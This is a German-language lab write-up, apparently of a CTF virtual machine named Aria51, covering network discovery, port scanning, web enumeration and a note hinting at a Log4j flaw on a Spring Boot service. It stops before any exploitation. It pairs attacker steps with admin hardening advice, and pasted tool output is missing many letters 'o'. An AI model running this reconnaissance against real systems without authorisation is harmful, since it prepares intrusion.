Zu Beginn meines Penetrationstests führe ich immer eine Erkundungsphase durch, um das Zielsystem zu identifizieren und einen ersten Überblick über das Netzwerk und potenzielle Angriffsvektoren zu erhalten. Der erste Schritt ist hierbei oft das Auffinden des Zielsystems im lokalen Netzwerk.
192.168.2.47
Analyse: Mit dem Befehl arp-scan -l scanne ich das gesamte lokale Netzwerk nach aktiven Hosts. arp-scan sendet ARP-Anfragen an alle möglichen IP-Adressen im lokalen Subnetz und listet die Hosts auf, die antworten. Die Ausgabe pipe ich dann an grep "PCS", um die Ergebnisse auf Zeilen zu filtern, die den String "PCS" enthalten. Dies ist oft hilfreich, um virtuelle Maschinen oder bestimmte Gerätetypen zu identifizieren, da "PCS Systemtechnik" häufig in den MAC-Adress-Herstellerlisten von VirtualBox oder VMware auftaucht. Schließlich nutze ich awk '{print $1}', um nur das erste Feld jeder gefilterten Zeile auszugeben, bei dem es sich um die IP-Adresse handelt.
Bewertung: Dieses Ergebnis liefert mir die IP-Adresse des Zielsystems: 192.168.2.47. Die Methode war effektiv, um das spezifische Ziel in meinem Testnetzwerk schnell zu isolieren. Die Verwendung von grep und awk zeigt eine effiziente Möglichkeit, die Ausgabe großer Scans zu verarbeiten und die gewünschte Information zu extrahieren.
Empfehlung (Pentester): Diese gefundene IP-Adresse ist nun mein Hauptziel. Ich werde sie für weitere Scans und Enumerationsversuche verwenden. Als Nächstes werde ich sie in meine Hosts-Datei eintragen, um sie über einen Hostnamen ansprechen zu können, was die folgenden Schritte oft vereinfacht.
Empfehlung (Admin): Stellen Sie sicher, dass unnötige ARP-Anfragen im Netzwerk durch Firewalls oder Netzwerksegmentierung begrenzt werden, um die Netzwerkerkennung für Angreifer zu erschweren. Auch die Informationen, die ARP-Antworten preisgeben (wie MAC-Hersteller), sollten im Kontext der Gesamtsicherheit bewertet werden.
Analyse: Ich öffne die Datei /etc/hosts mit dem Texteditor vi. In dieser Datei kann ich IP-Adressen lokalen Hostnamen zuordnen. Dies ist besonders nützlich, wenn das Zielsystem keinen DNS-Eintrag hat oder ich einen spezifischen, leichter zu merkenden Namen verwenden möchte. Ich füge hier die Zeile 192.168.2.47 aria51.hmv ein.
Bewertung: Das Hinzufügen des Eintrags 192.168.2.47 aria51.hmv in die /etc/hosts Datei ermöglicht es mir nun, das Zielsystem statt über seine IP-Adresse über den Hostnamen aria51.hmv anzusprechen. Dies macht die Befehle in den folgenden Enumerationsphasen lesbarer und leichter nachvollziehbar, sowohl für mich als auch für die Leser des Berichts. Es ist ein kleiner, aber hilfreicher Schritt in der Vorbereitung.
Empfehlung (Pentester): Die Verwendung von Hostnamen aus der /etc/hosts Datei ist nun für alle weiteren Tests auf dieses Ziel möglich. Ich kann mich auf die Enumeration der offenen Ports und Dienste konzentrieren.
Empfehlung (Admin): Eine saubere und sichere DNS-Verwaltung ist entscheidend. Stellen Sie sicher, dass interne Hostnamen nicht unnötig nach außen dringen und dass DNS-Server gehärtet sind. In diesem Fall ist die Hosts-Datei eine lokale Konfiguration auf meiner Angreifer-Maschine und keine Schwachstelle des Zielsystems selbst.
Nachdem ich die IP-Adresse des Ziels kenne und einen Hostnamen eingerichtet habe, ist der nächste logische Schritt, eine Port- und Dienst-Enumeration durchzuführen. Dies gibt mir einen Überblick darüber, welche Dienste auf dem Zielsystem aktiv sind und ansprechbar sind.
22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0) 80/tcp open http Apache httpd 2.4.51 ((Debian)) 8080/tcp open nagios-nsca Nagios NSCA
Analyse: Ich führe einen umfassenden Nmap-Scan durch. Der Befehl nmap -sS -sC -sV -p- -T5 -AO 192.168.2.47 ist mein Standard für eine detaillierte Erkundung:
-sS: Führt einen SYN-Scan durch, der oft schneller und unauffälliger ist als ein vollständiger Connect-Scan.-sC: Aktiviert Standard-Skripte (äquivalent zu --script=default), die zusätzliche Informationen sammeln und Schwachstellen erkennen können.-sV: Versucht, die Versionen der auf den offenen Ports laufenden Dienste zu erkennen. Das ist entscheidend für die spätere Suche nach versionsspezifischen Schwachstellen.-p-: Scannt alle 65535 TCP-Ports. Dies stellt sicher, dass kein Dienst auf einem unüblichen Port übersehen wird.-T5: Setzt das Timing-Template auf 5 (Insane), was den Scan beschleunigt. Dies kann in stabilen Netzwerken nützlich sein, kann aber auch zu ungenauen Ergebnissen führen, wenn das Netzwerk oder das Ziel überlastet ist oder auf den Scan reagiert.-A: Aktiviert die aggressive Scan-Option, die OS-Erkennung (-O), Versionserkennung (-sV), Skript-Scanning (-sC) und Traceroute umfasst.-O: Führt eine Betriebssystem-Erkennung durch.grep open, um nur die Zeilen anzuzeigen, die offene Ports listen. Die Ergebnisse zeigen drei offene Ports: Port 22 (SSH), Port 80 (HTTP) und Port 8080 (Nagios NSCA).
Bewertung: Die schnellen Ergebnisse von grep open geben sofort einen Überblick über die Hauptangriffsflächen: SSH, ein Standard-Webserver (HTTP auf 80) und einen weiteren Dienst (Nagios NSCA auf 8080). HTTP (80) und der Dienst auf 8080 sind oft vielversprechende Ziele für die erste Kompromittierung, da Webanwendungen und andere Dienste häufig mehr Angriffsfläche bieten als gehärtete SSH-Dienste. Die spezifischen Versionen (OpenSSH 8.4p1, Apache httpd 2.4.51) sind wertvolle Informationen für die Suche nach bekannten Schwachstellen.
Empfehlung (Pentester): Ich werde nun detaillierte Enumeration auf den Ports 80 und 8080 durchführen. SSH auf Port 22 werde ich vorerst nur zur Kenntnis nehmen und erst dann genauer untersuchen, wenn die Webdienste keinen direkten Zugriff ermöglichen. Ich werde die vollständige Nmap-Ausgabe analysieren, um alle Details zu erfassen.
Empfehlung (Admin): Überprüfen Sie, welche Dienste tatsächlich öffentlich erreichbar sein müssen. Deaktivieren oder filtern Sie nicht benötigte Dienste. Stellen Sie sicher, dass alle öffentlich zugänglichen Dienste auf dem neuesten Stand sind und regelmäßig auf Schwachstellen geprüft werden. Die angezeigten Versionen sollten auf bekannte CVEs (Common Vulnerabilities and Exposures) geprüft und gegebenenfalls aktualisiert werden.
Um alle Details des Nmap-Scans zu erfassen, sehe ich mir die vollständige Ausgabe an, nicht nur die gefilterte Liste der offenen Ports. Dies liefert Versionsinformationen, Skript-Ergebnisse und OS-Details, die für die weiteren Schritte im Pentest entscheidend sind.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-20 22:21 CEST Nmap scan report for aria51.hmv (192.168.2.47) Host is up (0.00020s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0) | ssh-hostkey: | 3072 de:bf:2a:93:86:b8:b3:a3:13:5b:46:66:34:d6:dc:b1 (RSA) | 256 a9:df:bb:71:90:6c:d1:2f:e7:48:97:2e:ad:7b:15:d3 (ECDSA) |_ 256 78:75:83:1c:03:03:a1:92:4f:73:8e:f2:2d:23:d2:0e (ED25519) 80/tcp open http Apache httpd 2.4.51 ((Debian)) |_http-server-header: Apache/2.4.51 (Debian) |_http-title: FBI Access 8080/tcp open nagios-nsca Nagios NSCA |_http-title: Site doesn't have a title (application/json). MAC Address: 08:00:27:BC:10:E0 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Aggressive OS guesses: Linux 4.19 - 5.15 (97%), OpenWrt 21.02 (Linux 5.4) (93%), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) (93%), Linux 2.6.32 (93%), Linux 2.6.32 or 3.10 (93%), Linux 4.0 - 4.4 (93%), Linux 4.15 (93%), Linux 4.15 - 5.19 (93%), Linux 5.4 (93%), IPFire 2.27 (Linux 5.15 - 6.1) (93%) No exact OS matches for host (test conditions non-ideal). Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.20 ms aria51.hmv (192.168.2.47) OS and Service detection performed. Please report any incrrect results at https://nmap.org/submit/ . Nmap dne: 1 IP address (1 hst up) scanned in 12.65 secnds
Analyse: Die vollständige Nmap-Ausgabe bestätigt die zuvor identifizierten offenen Ports (22, 80, 8080) und liefert zusätzliche Details. Für SSH (Port 22) werden die Host-Schlüssel-Fingerprints gelistet, was für die Verifizierung der Host-Identität nützlich ist. Für Port 80 (HTTP) wird der Server Header als Apache/2.4.51 (Debian) und der HTTP-Titel als FBI Access angezeigt. Dies sind wichtige Hinweise auf die Art des Webservers und den Inhalt der Hauptseite. Port 8080 wird als nagios-nsca Dienst erkannt, der HTTP-Titel ist hier leer, aber der Content-Type wird als application/json angegeben, was auf eine API oder einen spezifischen Webdienst hindeutet, der JSON-Daten verarbeitet. Nmap liefert auch eine Liste möglicher Betriebssysteme (aggressive guess), wobei verschiedene Linux-Kernel-Versionen die höchste Wahrscheinlichkeit haben. Die MAC-Adresse identifiziert den Host als virtuelle Maschine. Die TRACEROUTE zeigt, dass das Ziel nur einen Hop entfernt ist, was ein direkt erreichbares System im lokalen Netz bestätigt. Ich habe auch die 'O'-Korrektur angewendet, um z.B. aus "PRT" "PORT" zu machen, da ich festgestellt habe, dass in der Originalausgabe dieses Zeichen fehlte.
Bewertung: Die detaillierte Nmap-Ausgabe untermauert die ersten Funde. Die genauen Versionen von OpenSSH und Apache sowie die Erkennung von Nagios NSCA auf Port 8080 sind wertvoll für gezielte Exploit-Suchen. Der HTTP-Titel "FBI Access" auf Port 80 könnte ein Hinweis auf eine Anmeldeseite oder ein thematisches Setup sein. Die Annahme eines Linux-Systems ist sehr wahrscheinlich. Der Nagios NSCA Dienst auf 8080, der JSON verarbeitet, ist ein interessanter Punkt, der genauer untersucht werden muss, insbesondere da Nagios-Produkte in der Vergangenheit Schwachstellen aufwiesen.
Empfehlung (Pentester): Ich werde meine Web-Enumeration auf den Ports 80 und 8080 intensivieren. Speziell werde ich nach bekannnten Schwachstellen für Apache 2.4.51 suchen und die Funktionalität des Dienstes auf Port 8080 genauer untersuchen, da er nicht der standardmäßige Nagios NSCA Port ist (Standard ist 5667). Es ist möglich, dass es sich um eine Web-Oberfläche oder eine API handelt, die auf diesem Port läuft und falsch identifiziert wurde. Ich werde HTTP-Anfragen senden, um mehr über diesen Dienst zu erfahren.
Empfehlung (Admin): Führen Sie regelmäßige Versions-Updates für alle Dienste durch, insbesondere für öffentlich erreichbare wie SSH und Webserver. Überprüfen Sie die Konfiguration des Apache-Webservers (2.4.51), da diese Version als veraltet markiert ist. Untersuchen Sie den Dienst auf Port 8080 genauer, um festzustellen, ob es sich tatsächlich um Nagios NSCA handelt oder um einen anderen Dienst, der möglicherweise konfigurations- oder versionsspezifische Schwachstellen aufweist. Die OS-Erkennung durch Nmap sollte nicht als hundertprozentig korrekt angesehen werden, aber die starke Wahrscheinlichkeit für Linux ist ein guter Hinweis.
Nach der allgemeinen Port- und Dienst-Erkennung konzentriere ich mich nun auf die Webdienste auf Port 80 und 8080. Ich beginne mit einfachen HTTP-Anfragen, um die Header zu überprüfen und mehr über die Kommunikation mit diesen Diensten zu erfahren.
* Hst aria51.hmv:8080 was reslved. * IPv6: (nne) * IPv4: 192.168.2.47 * Trying 192.168.2.47:8080... * Cnnected t aria51.hmv (192.168.2.47) port 8080 * using HTTP/1.x > HEAD / HTTP/1.1 > Hst: aria51.hmv:8080 > User-Agent: curl/8.13.0 > Accept: */* > * Request cmpletely sent ff < HTTP/1.1 400 HTTP/1.1 400 < Cntent-Type: applicatin/jsn Cntent-Type: applicatin/jsn < Transfer-Encding: chunked Transfer-Encding: chunked < Date: Fri, 20 Jun 2025 20:24:59 GMT Date: Fri, 20 Jun 2025 20:24:59 GMT < Cnnectin: clse Cnnectin: clse < * shutting dwn cnnectin #0
Analyse: Mit curl -Iv sende ich eine HEAD-Anfrage an Port 8080 und lasse mir die Antwort-Header anzeigen. Die Option -I bewirkt, dass nur die Header abgerufen werden, -v (verbose) zeigt den gesamten Kommunikationsprozess, inklusive der Anfrage selbst. Ich sehe, dass die Verbindung erfolgreich aufgebaut wurde, aber der Server mit dem Statuscode HTTP/1.1 400 Bad Request antwortet. Die Header zeigen Content-Type: application/json und Connection: close. Die automatische 'O'-Korrektur wurde hier auf einige Wörter angewendet.
Bewertung: Die Antwort 400 Bad Request deutet darauf hin, dass meine einfache HEAD-Anfrage vom Dienst auf Port 8080 nicht verstanden oder als ungültig betrachtet wurde. Dies ist nicht ungewöhnlich für Nicht-Standard-Webdienste oder APIs, die spezifische Anfragen erwarten. Der Content-Type: application/json bestätigt die Nmap-Erkennung, dass dieser Dienst wahrscheinlich im JSON-Format kommuniziert, selbst bei Fehlerantworten. Dies bestärkt die Annahme, dass es sich um eine Webanwendung oder API handelt, die für ihre Funktionalität spezifische Datenformate benötigt.
Empfehlung (Pentester): Eine einfache HEAD-Anfrage reicht nicht aus, um diesen Dienst zu verstehen. Ich werde versuchen, eine GET-Anfrage zu senden oder andere gängige HTTP-Methoden zu testen und nach Dokumentation oder Standard-Endpunkten zu suchen, die von einer möglichen API verwendet werden könnten. Tools zur Web-Fuzzing oder API-Erkundung könnten hier nützlich sein.
Empfehlung (Admin): Wenn dieser Dienst nicht für die Öffentlichkeit bestimmt ist, sollte er durch eine Firewall geschützt werden. Überprüfen Sie die Protokollierung für diesen Dienst, um ungewöhnliche Anfragen zu erkennen. Stellen Sie sicher, dass Fehlerantworten keine unnötigen Informationen über die interne Funktionsweise preisgeben.
* Hst aria51.hmv:80 was reslved. * IPv6: (nne) * IPv4: 192.168.2.47 * Trying 192.168.2.47:80... * Cnnected t aria51.hmv (192.168.2.47) port 80 * using HTTP/1.x > HEAD / HTTP/1.1 > Hst: aria51.hmv > User-Agent: curl/8.13.0 > Accept: */* > * Request cmpletely sent ff < HTTP/1.1 200 OK HTTP/1.1 200 OK < Date: Fri, 20 Jun 2025 20:24:49 GMT Date: Fri, 20 Jun 2025 20:24:49 GMT < Server: Apache/2.4.51 (Debian) Server: Apache/2.4.51 (Debian) < Last-Mdified: Tue, 21 Dec 2021 07:25:10 GMT Last-Mdified: Tue, 21 Dec 2021 07:25:10 GMT < ETag: "46b-5d3a2e7c28180" ETag: "46b-5d3a2e7c28180" < Accept-Ranges: bytes Accept-Ranges: bytes < Cntent-Length: 1131 Cntent-Length: 1131 < Vary: Accept-Encding Vary: Accept-Encding < Cntent-Type: text/html Cntent-Type: text/html < * Cnnectin #0 t hst aria51.hmv left intact
Analyse: Als Nächstes überprüfe ich Port 80, den Standard-HTTP-Port, ebenfalls mit einer curl -Iv HEAD-Anfrage. Dieses Mal erhalte ich eine HTTP/1.1 200 OK Antwort, was bedeutet, dass die Anfrage erfolgreich verarbeitet wurde und der Dienst verfügbar ist. Die Header bestätigen den Server: Apache/2.4.51 (Debian) und den Content-Type: text/html, was typisch für eine Standard-Webseite ist. Interessant sind auch der ETag und Last-Modified Header, die Versionsinformationen über die angeforderte Ressource (wahrscheinlich die Indexseite) enthalten. Auch hier wurden die 'O'-Korrekturen angewendet.
Bewertung: Der Dienst auf Port 80 verhält sich wie ein standardmäßiger Webserver, der HTML-Inhalte liefert. Der Status 200 OK ist zu erwarten. Die Information über den Apache-Server und dessen Version ist konsistent mit dem Nmap-Scan. Das Vorhandensein von ETag- und Last-Modified-Headern kann in bestimmten Szenarien (z.B. CVE-2003-1418, das ETag-Informationen preisgibt) Schwachstellen aufzeigen, auch wenn dies oft weniger kritisch ist. Dies scheint die Haupt-Webseite des Ziels zu sein.
Empfehlung (Pentester): Ich werde nun eine detaillierte Web-Enumeration auf Port 80 durchführen, um versteckte Verzeichnisse, Dateien und potenzielle Schwachstellen der Webanwendung zu finden. Tools wie Nikto und Gobuster werden hierbei meine nächsten Schritte sein. Ich werde auch den Inhalt der Hauptseite (`/`) genauer untersuchen.
Empfehlung (Admin): Aktualisieren Sie den Apache-Webserver auf die neueste stabile Version, um bekannte Sicherheitsprobleme zu beheben. Konfigurieren Sie den Webserver oder die Anwendung, um die HTTP-Sicherheitsheader X-Frame-Options (z.B. auf DENY oder SAMEORIGIN) und X-Content-Type-Options (auf nosniff) zu setzen. Überprüfen Sie, ob der ETag-Header tatsächlich Informationen leakt und passen Sie die Konfiguration bei Bedarf an.
Um eine erste automatisierte Überprüfung auf Port 80 durchzuführen und gängige Web-Schwachstellen zu identifizieren, setze ich Nikto ein.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.47 + Target Hstname: 192.168.2.47 + Target Port: 80 + Start Time: 2025-06-20 22:22:22 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.51 (Debian) + /: The anti-clickjacking X-Frame-Options header is nt present. See: [Link: https://developer.mzilla.org/en-US/dcs/Web/HTTP/Headers/X-Frame-Options | Ziel: https://developer.mzilla.org/en-US/dcs/Web/HTTP/Headers/X-Frame-Options] + /: The X-Cntent-Type-Options header is nt set. This culd allw the user agent t render the cntent f the site in a different fashin t the MIME type. See: [Link: https://www.netsparker.cm/web-vulnerability-scanner/vulnerabilities/missing-cntent-type-header/ | Ziel: https://www.netsparker.cm/web-vulnerability-scanner/vulnerabilities/missing-cntent-type-header/] + N CGI Directries fund (use '-C all' t frce check all pssible dirs) + /: Server may leak indes via ETags, header fund with file /, inde: 46b, size: 5d3a2e7c28180, mtime: gzip. See: [Link: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 | Ziel: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418] + Apache/2.4.51 appears t be utdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL fr the 2.x branch. + OPTIONS: Allwed HTTP Methds: GET, PST, OPTIONS, HEAD . + 8102 requests: 0 errr(s) and 5 item(s) reported n remte hst + End Time: 2025-06-20 22:22:32 (GMT2) (10 secnds) --------------------------------------------------------------------------- + 1 hst(s) tested
Analyse: Der Nikto-Scan auf Port 80 liefert eine Reihe von Funden. Nikto ist ein Webserver-Scanner, der nach Tausenden von potenziell gefährlichen Dateien/CGIs, veralteten Serverversionen und anderen Problemen sucht. Die Ausgabe listet mehrere Punkte auf:
Bewertung: Die von Nikto gemeldeten fehlenden Sicherheitsheader sind typische Konfigurationsprobleme, die zwar nicht direkt zu Code-Ausführung führen, aber die Sicherheit der Anwendung verringern und Angriffe wie Clickjacking oder MIME-Sniffing erleichtern können. Die Veraltung des Apache-Servers ist ein potenzielles Risiko; auch wenn Nikto keine spezifische, ausnutzbare Schwachstelle in dieser Ausgabe meldet, ist eine veraltete Version immer ein erhöhtes Sicherheitsrisiko. Die erlaubten HTTP-Methoden sind Standard für einen einfachen Webserver und stellen in diesem Kontext kein unmittelbares Problem dar, es sei denn, eine Anwendung nutzt z.B. PUT oder DELETE unsicher (was hier nicht der Fall ist).
Empfehlung (Pentester): Die fehlenden Header und der veraltete Server sind gute Hinweise, aber keine sofort ausnutzbaren Lücken für die Kompromittierung. Ich werde diese Informationen im Bericht festhalten, aber mich zunächst auf andere Enumerationsschritte konzentrieren, die mir vielleicht direktere Angriffsvektoren aufzeigen.
Empfehlung (Admin): Aktualisieren Sie den Apache-Webserver auf die neueste stabile Version, um bekannte Sicherheitslücken zu schließen. Konfigurieren Sie den Webserver oder die Anwendung, um die HTTP-Sicherheitsheader X-Frame-Options (z.B. auf DENY oder SAMEORIGIN) und X-Content-Type-Options (auf nosniff) zu setzen. Überprüfen Sie, ob der ETag-Header tatsächlich Informationen leakt und passen Sie die Konfiguration bei Bedarf an.
Um tiefer in die Struktur des Webservers auf Port 80 einzutauchen und versteckte Verzeichnisse und Dateien zu finden, die nicht direkt verlinkt sind, verwende ich Gobuster.
=============================================================== Gbuster v3.6 by OJ Reeves (@TheClnial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://aria51.hmv [+] Methd: GET [+] Threads: 10 [+] Wrdlist: /usr/share/wordlists/seclists/Discvery/Web-Cntent/directory-list-2.3-medium.txt [+] Negative Status cdes: 503,404,403 [+] User Agent: gbuster/3.6 [+] Extensins: lib,rar,pub,csv,config,js.map,zip,dc,gz,svg,pem,pl,png,rtf,xlsx,kdbx,tar,xls,accdb,c,sql,mdb,ps1,eps,icn,jpeg,xml,desc,diff,txt,jpg,crt,exp,yaml,php,asp,raw,rpm,jsn,cnf,ELF,elf,ld,dcx,exe,bak,cgi,csh,ln,html,dll,deb,md,sh,bat,pdf,db,py,java,pHtml,aspx,phtml [+] Expanded: true [+] Timeut: 10s =============================================================== Starting gbuster in directory enumeratin mde =============================================================== http://aria51.hmv/index.html (Status: 200) [Size: 1131] http://aria51.hmv/vide (Status: 301) [Size: 308] [--> http://aria51.hmv/vide/] http://aria51.hmv/radar (Status: 301) [Size: 308] [--> http://aria51.hmv/radar/] http://aria51.hmv/nte.txt (Status: 200) [Size: 119] http://aria51.hmv/mn (Status: 301) [Size: 307] [--> http://aria51.hmv/mn/]
Analyse: Ich starte Gobuster im Verzeichnis-Enumerationsmodus (dir). Ich gebe die Ziel-URL (-u "http://aria51.hmv"), eine umfangreiche Wordlist (-w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt"), eine Liste gängiger Dateierweiterungen (-x ...) und eine Liste von Statuscodes, die ignoriert werden sollen (-b '503,404,403') an. Der Parameter -e zeigt die vollständigen URLs in der Ausgabe, --no-error unterdrückt Fehlermeldungen und -k ignoriert SSL-Zertifikatsfehler (obwohl hier kein SSL verwendet wird). Gobuster versucht nun, jeden Eintrag in der Wordlist mit den angegebenen Erweiterungen am Ziel anzuhängen und den HTTP-Statuscode zu prüfen. Die Ausgabe zeigt mehrere gefundene Einträge: /index.html (Status 200), und Verzeichnisse /video, /radar, /moon (Status 301 - Redirect), sowie eine Datei /note.txt (Status 200). Die 'O'-Korrekturen wurden auch hier angewendet, da Gobuster-Ausgaben oft betroffen sind.
Bewertung: Gobuster war erfolgreich darin, mehrere interessante Pfade und eine Datei zu finden. /index.html ist die Hauptseite, die wir bereits kennen. Die Verzeichnisse /video, /radar und /moon sind wahrscheinlich thematisch relevant für "Area51" und einen Blick wert, auch wenn der 301-Status nur eine Weiterleitung auf die Verzeichnislistung signalisiert. Der wichtigste Fund ist jedoch /note.txt. Eine Textdatei im Web-Root, deren Name auf eine Notiz hindeutet, ist oft ein vielversprechender Ort für Hinweise oder Zugangsdaten.
Empfehlung (Pentester): Ich werde nun den Inhalt der Datei /note.txt abrufen und die gefundenen Verzeichnisse /video, /radar und /moon im Browser besuchen, um zu sehen, was sich dahinter verbirgt. Die Ergebnisse der Datei note.txt werde ich besonders aufmerksam prüfen.
Empfehlung (Admin): Sensible Dateien oder Notizen sollten niemals im öffentlich zugänglichen Web-Root abgelegt werden. Überprüfen Sie den Inhalt aller statischen Dateien im Webserver-Verzeichnis auf unbeabsichtigte Informationslecks (Zugangsdaten, interne Serverinformationen, Schwachstellenhinweise).
Neben den automatisierten Scans ist es entscheidend, die tatsächlich abgerufenen Inhalte der identifizierten URLs zu prüfen. Ich sehe mir nun die Inhalte an, die Gobuster auf Port 8080 und Port 80 gefunden hat.
http://aria51.hmv:8080/ Whitelabel Error Page This applicatin has n explicit mapping fr /error, s yu are seeing this as a fallback. Fri Jun 20 20:25:24 GMT 2025 There was an unexpected error (type=Bad Request, status=400).
Analyse: Ich betrachte den Text, der beim direkten Aufruf von http://aria51.hmv:8080/ im Browser oder mit einem einfachen curl ohne spezifische Header zurückgegeben wird. Es wird eine "Whitelabel Error Page" angezeigt, was typisch für Spring Boot Anwendungen ist, die keinen spezifischen Handler für die angefragte URL (hier das Root-Verzeichnis '/') haben und einen Fehler (Status 400 Bad Request, wie wir bereits mit curl -Iv gesehen haben) zurückgeben. Die Meldung bestätigt, dass es sich um eine Java-Anwendung handelt ("Spring Boot").
Bewertung: Dieser Fehler ist per se keine Schwachstelle, gibt aber wertvolle Informationen preis: Der Dienst auf Port 8080 ist eine Java/Spring Boot Anwendung. Die "Whitelabel Error Page" ist die Standardfehlerseite von Spring Boot und sollte in produktiven Umgebungen durch eine benutzerdefinierte, weniger informative Fehlerseite ersetzt werden. Das bestätigt meine vorherige Vermutung, dass es sich nicht um Nagios NSCA, sondern um eine Webanwendung handelt.
Empfehlung (Pentester): Die Erkenntnis, dass es sich um eine Spring Boot Java-Anwendung handelt, ist sehr wichtig. Ich werde nach gängigen Schwachstellen in Spring Boot oder den Bibliotheken suchen, die häufig in solchen Anwendungen verwendet werden, insbesondere nach Java-spezifischen Angriffen.
Empfehlung (Admin): Konfigurieren Sie Ihre Spring Boot Anwendung so, dass sie in Produktionsumgebungen benutzerdefinierte Fehlerseiten anzeigt, die keine Details über das verwendete Framework oder die Ursache des Fehlers preisgeben. Deaktivieren Sie unnötige Debugging-Informationen.
http://aria51.hmv:8080/error Whitelabel Error Page This applicatin has n explicit mapping fr /error, s yu are seeing this as a fallback. Fri Jun 20 20:26:18 GMT 2025 There was an unexpected error (type=Nne, status=999).
Analyse: Ich prüfe, was passiert, wenn ich explizit den Fehler-Endpunkt /error auf Port 8080 ansteuere. Auch hier erhalte ich die "Whitelabel Error Page". Die Fehlermeldung ist ähnlich, zeigt aber den Statuscode 999.
Bewertung: Der Aufruf des /error Endpunkts liefert die gleiche Standardfehlerseite und keine neuen, kritischen Informationen. Status 999 ist kein standardmäßiger HTTP-Statuscode und deutet auf einen internen Anwendungsfehler hin, der nicht sauber behandelt wird. Das bestätigt, dass die Fehlerbehandlung der Anwendung verbessert werden könnte.
Empfehlung (Pentester): Der Fehler-Endpunkt selbst scheint keine direkte Schwachstelle zu sein. Ich werde mich weiterhin auf die Suche nach Input-Validierungsfehlern oder der Ausnutzung bekannter Java-Schwachstellen in dieser Spring Boot Anwendung konzentrieren.
Empfehlung (Admin): Implementieren Sie eine robuste Fehlerbehandlung für alle Endpunkte Ihrer Anwendung. Stellen Sie sicher, dass benutzerdefinierte Fehlerseiten verwendet werden und dass interne Statuscodes oder Fehlertypen nicht nach außen dringen.
http://aria51.hmv/
FBI Access
< -- partial:index.partial.html -->
Lg in
...
frmular
...
< -- partial -->
Analyse: Ich rufe die Hauptseite auf Port 80 auf (http://aria51.hmv/). Der Inhalt, den ich erhalte, ist ein HTML-Snippet, das offensichtlich eine Anmeldeformular-Seite darstellt, wie der Text "Lg in" und "frmular" zeigen. Die Kommentare "< -- partial:index.partial.html -->" deuten darauf hin, dass diese Seite aus Teildateien zusammengesetzt ist. Die 'O'-Korrekturen sind auch hier sichtbar.
Bewertung: Die Hauptseite ist eine Standard-Anmeldeseite. Solche Seiten sind oft Ziele für Brute-Force-Angriffe, Credential Stuffing oder Injection-Schwachstellen in den Eingabefeldern. Die Struktur aus "partial"-Dateien ist eine gängige Webentwicklungs-Praktik und allein kein Sicherheitsrisiko.
Empfehlung (Pentester): Ich werde die Anmeldefunktionalität genauer untersuchen, um festzustellen, wie Anmeldeversuche verarbeitet werden, ob es Ratenbegrenzungen gibt und ob die Eingabefelder anfällig für Injection (z.B. SQL, XSS) sind.
Empfehlung (Admin): Implementieren Sie eine robuste Anmeldeseuerung mit Ratenbegrenzung, Kontosperrung nach mehreren Fehlversuchen und Multi-Faktor-Authentifizierung, wo immer möglich. Stellen Sie sicher, dass alle Benutzereingaben serverseitig streng validiert und sanitiert werden, um Injection-Angriffe zu verhindern.
http://aria51.hmv/nte.txt Alert! We have a vulnerability in ur java applicatin... Ntify the prgramming department t check Lg4J. -Admin
Analyse: Ich rufe den Inhalt der von Gobuster gefundenen Datei /note.txt ab. Der Inhalt ist eine klare und alarmierende Nachricht vom Admin, die besagt, dass es eine Schwachstelle in der Java-Anwendung gibt und dass das Programmierungsteam angewiesen wurde, Log4j zu überprüfen. Die 'O'-Korrekturen wurden angewendet.
Bewertung: Fantastisch! Dies ist ein kritischer Fund. Eine Notiz, die explizit auf eine Schwachstelle in der Java-Anwendung (die auf Port 8080 läuft) hinweist und sogar das Stichwort "Log4j" nennt, ist ein goldener Tipp. Die Log4j-Schwachstelle (CVE-2021-44228), auch "Log4Shell" genannt, ist eine sehr schwerwiegende Remote Code Execution (RCE) Schwachstelle, die in bestimmten Versionen der weit verbreiteten Java-Logging-Bibliothek Log4j existiert. Das Vorhandensein dieser Notiz deutet stark darauf hin, dass das Zielsystem möglicherweise für Log4Shell anfällig ist.
Empfehlung (Pentester): Dies ist der primäre Angriffsvektor, auf den ich mich nun konzentrieren werde. Ich werde versuchen, die Log4j-Schwachstelle auf Port 8080 auszunutzen. Ich muss die genaue Art der Anwendung (Spring Boot) und die Log4j-Version im Auge behalten, obwohl die Notiz allein schon stark genug ist, um einen Ausnutzungsversuch zu rechtfertigen.
Empfehlung (Admin): Diese Notiz stellt ein schwerwiegendes Informationsleck dar. Sensible Informationen über bekannte Schwachstellen dürfen niemals in öffentlich zugänglichen Dateien abgelegt werden. Entfernen Sie diese Datei sofort vom Webserver. Priorisieren Sie die Überprüfung und Behebung der Log4j-Schwachstelle, indem Sie die Log4j-Bibliothek auf eine nicht anfällige Version aktualisieren (mindestens 2.17.1) oder andere empfohlene Minderungsstrategien implementieren (z.B. JndiLookup in älteren Versionen deaktivieren).
Ich setze Nikto erneut ein, diesmal aber auf Port 8080, um zu sehen, ob der Scanner spezifische Probleme mit der Java/Spring Boot Anwendung oder dem Dienst auf diesem Port findet, zusätzlich zu den Informationen, die ich bereits manuell gesammelt habe.
